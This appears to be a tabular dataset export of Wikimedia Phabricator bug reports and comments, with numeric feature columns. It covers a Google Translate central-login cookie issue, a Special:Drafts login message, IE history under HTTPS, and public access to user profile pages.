+**Severity**: normal",Lowest,10.0,1383058800,1437750727.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-v2mguuhedbp2cvaxaet6,task_description,resolved,True,c3,1,True,False,True,-88,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+496419,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"A cursory look at the (deleted and before that moved) page referenced in this task and current pages showed that now apparently only one newline is prepended by Labslogbot, while previously one was prepended with each update.  So I'm closing this as resolved; if I missed a (current) case, please reopen.",,,1437750727,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-v2mguuhedbp2cvaxaet6,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+57887,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**Author:** `salisria`
+
+**Description:**
+I had originally filed this as a reopening of bug 54626 (comment 9 https://bugzilla.wikimedia.org/show_bug.cgi?id=54626#c9 ) as I was uncertain what had triggered it.  Now I know.  When I translate a wikipage with Google, that is when the forceHTTPS cookies are being set despite that breaking my preferences.
+
+In case this affects things, at the time I do that, I am not signed in to Google, but I am signed in to Wikipedia.  When I translate the webpage on Goggle that is when I first get the popup message:
+""Central login
+You are centrally logged in as <username>. Reload the page to apply your user settings.""
+That also is likely when the fifteen unwanted cookies are placed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57081",Lowest,10.0,1382118000,1434983614.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-4my7skcf3xoomjiuspgw,task_description,declined,True,c3,1,False,False,True,-89,True,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+479625,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"@faidon, this is still a bug, possibly upsteam in Google Translate, but these two websites are commonly used together and someone needs to prevent this popup message, which is incorrect, from appearing.",,,1435024600,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,2,True,,,-2,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0
+479059,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"As I understand it, this task is now moot: HTTPS is the default for everyone and there is no opt-out.",,,1434983614,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,2,True,,,-2,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+478662,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"I see this quite regularly, and I agree it is a bit disconcerting.  Also the message (""Reload the page to apply your user settings"") is incorrect, as reloading the page does not apply your settings.  Don't send the cookies to Google's translate service IPs? :-)",,,1434873481,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+260167,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+I could have been far more acerbic than I was, but I also didn't think it would have been helpful, especially since that boat has already floated.  Still, I do hope you'll eventually fix this, since it looks like the proper fix would be to provide a much needed global method to specify HTTPS use instead of the kludgy per site basis.  I can't think of any reason why anyone would want to use HTTPS on some Wikimedia sites and not use it on others.",,,1384240781,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+260162,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"""Wales' privacy fears"" (I don't consider such comments very helpful) didn't play much of a role when planning https://meta.wikimedia.org/wiki/HTTPS , and there are no plans to spend much time on corner cases...",,,1384169944,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0
+260157,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+Let me present a scenario ask if this is indeed what would happen.  If were logged out of wikimedia and then visited a site where I have not set the preference as I desired and then for some odd reason, logged in there, would I get the cookies set? If I understand you correctly, it would.
+
+In that case, the bug is that while you have a preference to allow a person to choose ""Always use a secure connection when logged in"" (an option which which is now by default always enabled unless one chooses opt-out)  there is no option to specify ""Never use a secure connection when logged in"".
+
+Incidentally, when I first noticed the problem I tried manually editing the cookies to have a value of ""0"" instead of ""1"" in hopes they were a boolean flag, but that didn't work, but perhaps you should consider doing that.
+
+However you choose to implement it, it sounds like you need to replace the kludge you used to enforce Wales' privacy fears with one that allows those of us who don't share them to opt out globally, instead of having to make us opt out potentially hundreds of times.",,,1384121168,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+260151,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"This is something of a bug/feature of google translate. Google gets the html from the site (anonymously) and presents that html in an iframe on googleusercontent.com. Since you're not logged in, the javascript on the page (running in the googleusercontent.com domain) pings loginwiki and the target wiki and, and ""logs in"" to the target wiki (even though you're actually already logged in..). After that succeeds, that javascript replaces the html div with your username, which it can do on googleusercontent's html since it's same domain.
+
+Unfortunately for Carolina, we use the preferences for the target wiki when the login protocol runs, and as she mentioned, the default preference there is to enable https, and we set the forceHTTPS cookie at that point.
+
+So unfortunately, the only way to get around this for Carolina is to update the preference across wikis.",,,1383951158,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0,1,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+260143,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+Just to clarify:  I have the ""Always use a secure connection when logged in"" set to off, not on as Andre did.  I want to use HTTP, not HTTPS.  I do not need the security features of HTTPS for my own use and HTTPS uses more bandwidth.",,,1383944339,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+260136,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+(In reply to comment #4) 
+> Please pardon my ignorance, but which exact problem does this create with the
+> cookies?
+
+My own problem is that by placing the cookies, they override my explicitly set preference to not use HTTPS on en.wikipedia etc.,  In order to get back to not being forced to using HTTPS, I have to both manually delete the cookies and then log back out and back in.",,,1383944109,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+260127,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,Gotcha. CC'ing csteipp due to the idea of CSRF.,,,1383934374,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+260118,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Being automatically logged-in while you're viewing the page from an untrusted (non-WMF) domain is scary at least.
+
+Would it be possible for us to suffer a CSRF attack because of this?",,,1383933294,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0
+260110,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"1. Using Google Chrome 30, not logged in on google.com, logged in on en.wikipedia.org.
+2. ""Always use a secure connection when logged in"" is enabled on https://en.wikipedia.org/w/index.php?title=Special:Preferences#mw-prefsection-personal
+3. I go to http://translate.google.com/
+4. I paste http://en.wikipedia.org/wiki/Home_Nations in the text field
+5. I choose (translate to) ""Spanish""
+6. I click the ""Translate"" button
+
+RESULT:
+In the upper right corner, for a moment I see ""Create an account"" etc in Spanish. After two seconds, I see my user name there.
+
+
+Please pardon my ignorance, but which exact problem does this create with the cookies?",,,1383932990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+260104,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+I need to be globally logged in with Wikimedia (which is always).
+
+I need to do a Google translation of a Wikimedia page. When I do that, the upper right area, briefly shows the ""Create account"" stuff then it will after a second or two recognize I'm globally logged in and show the usual ""Carolina wren Talk Preferences Watchlist Contributions Log out"" options.
+
+If this is for a site which I've specified that my user preference is to not use HTTPS, everything is fine.
+
+If this were for a site which I had not specified my user preference is to not use HTTPS, that is when the problem occurs. (With accounts automatically set up whenever I visit another version while globally logged in, I've managed to accrue over 100 such per site accounts despite being active on only a few, so I haven't preemptively tried to change the preference for all of them.)
+
+The problem does not occur if I simply visit the untranslated page on a site I haven't yet set the preference for.  While that page, as expected, uses HTTPS, it does not set the fifteen forceHTTPS cookies for commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary that are set if I view that same page via Google Translate.
+
+Note that Google seems to have tweaked what it is doing so that I'm no longer getting the in-window Central Login message when I view the translated page, but I'm still getting the unwanted cookies, and the Central Login message shows when I next view a Wikimedia page directly.",,,1383929851,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+260099,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Hi Carolina! Sorry that nobody has taken a look at this report yet and given feedback.
+
+What is the exact order of steps to follow to reproduce this problem?",,,1383924240,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+260094,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+A little further testing seems to indicate that the fault only occurs when I translate a page on a Wikipedia language version for which I have not yet changed my user preference on to not using HTTPS.",,,1382119030,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+57394,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","You must log in to view other pages.
+
+Return to Main Page.
+
+This is because:
+
+		// Make sure the user is logged in
+		if ( !$user->isLoggedIn() ) {
+			// If not, let them know they need to
+			$out->loginToUse();
+			// Continue
+			return;
+		}
+
+
+OutputPage::loginToUse: throw new PermissionsError( 'read' );
+
+which may not be applicable...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1381117680,1643540946.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-mlp7cjyksjzemkdr5ued,False,PHID-TASK-ecy4xxktlmnaye5udfda,task_description,resolved,True,c3,1,True,False,False,-91,True,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+1628099,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 **merged** by jenkins-bot:
+[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message
+
+https://gerrit.wikimedia.org/r/638995",,,1607199129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c3,3,False,,,283,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+1611322,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 had a related patch set uploaded (by Jack Phoenix; owner: Jack Phoenix):
+[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message
+
+https://gerrit.wikimedia.org/r/638995",,,1604480934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c3,3,False,,,278,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+55681,Explorer does not store history when using https,"To be more exact, it seems that Explorer only keeps track of history for as long as max-age allows.
+
+IE users are annoyed... :D
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53636",Lowest,10.0,1378131960,1449171326.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_description,declined,True,c3,1,True,False,False,-96,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+572491,Explorer does not store history when using https,declined because we really can't do anything about it and also it's like a duplicate of T55636 which has also been suggested to be -> wontfix,,,1449171489,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,3,True,,,22,True,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+257441,Explorer does not store history when using https,So tempted to close this INVALID...,,,1400654180,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+257439,Explorer does not store history when using https,"We could double check if our cache-control headers are really making sense everywhere, or if we should make it more flexible etc..
+
+Something else that might be worth investigating is history.pushState magic ?",,,1378202249,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,1,True,,,-96,True,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,1,1,0,1
+257437,Explorer does not store history when using https,"Noting that (of course) we can't actually fix IE, so bar something like reverting to HTTP just for them (Err, yeah... /me barfs), this needs much poking of Microsoft to get something done...",,,1378199589,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,1,True,,,-96,True,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+639,User profile pages require login,"http://web.archive.org/web/20141010155312/https://phabricator.wikimedia.org/p/Nemo_bis/ not nice, especially as that URL is linked from tasks by default for unregistered users as well (example: http://web.archive.org/web/20141010155432/https://phabricator.wikimedia.org/T638 ).",Lowest,10.0,1412956496,1438850128.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_description,resolved,True,c3,1,True,False,True,-38,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+497709,User profile pages require login,"Thanks @qgil, I'll try to get that deployed this week.",,,1438027350,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+497500,User profile pages require login,Fixed as per https://secure.phabricator.com/rPcf83db15d6bae88770291307bc1cdb4ea6200cf8,,,1438011707,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+437803,User profile pages require login,">>! In T639#1016038, @Qgil wrote:
+> Another local patch to maintain, with no benefit that I can see.
+
+The benefit is that users don't have to log in to get the same experience. This is especially important on mobile where I'm not going to type my super long password in, but am trying to figure out who a person is.",,,1428040003,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+406834,User profile pages require login,"Another local patch to maintain, with no benefit that I can see.",,,1423086970,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+406831,User profile pages require login,"> not worth maintaining a local patch for this
+
+How about a local customisation that unlinks the profiles, then?",,,1423086841,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1
+406767,User profile pages require login,"Upstream keeps thinking that user profiles should not be publicly accessible, and the Wikimedia Phabricator team keeps thinking that it is not worth maintaining a local patch for this. I propose to decline this task.",,,1423079416,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+3546,User profile pages require login,"> It looks like either an ""I"" or a ""Please"" got lost at the beginning of that sentence.
+
+Same in the ""go crash against that wall"" sentences above.",,,1413728696,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+3545,User profile pages require login,"> It looks like either an ""I"" or a ""Please"" got lost at the beginning of that sentence.
+
+Same in the ""please go crash against that wall"" sentences above.",,,1413728591,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
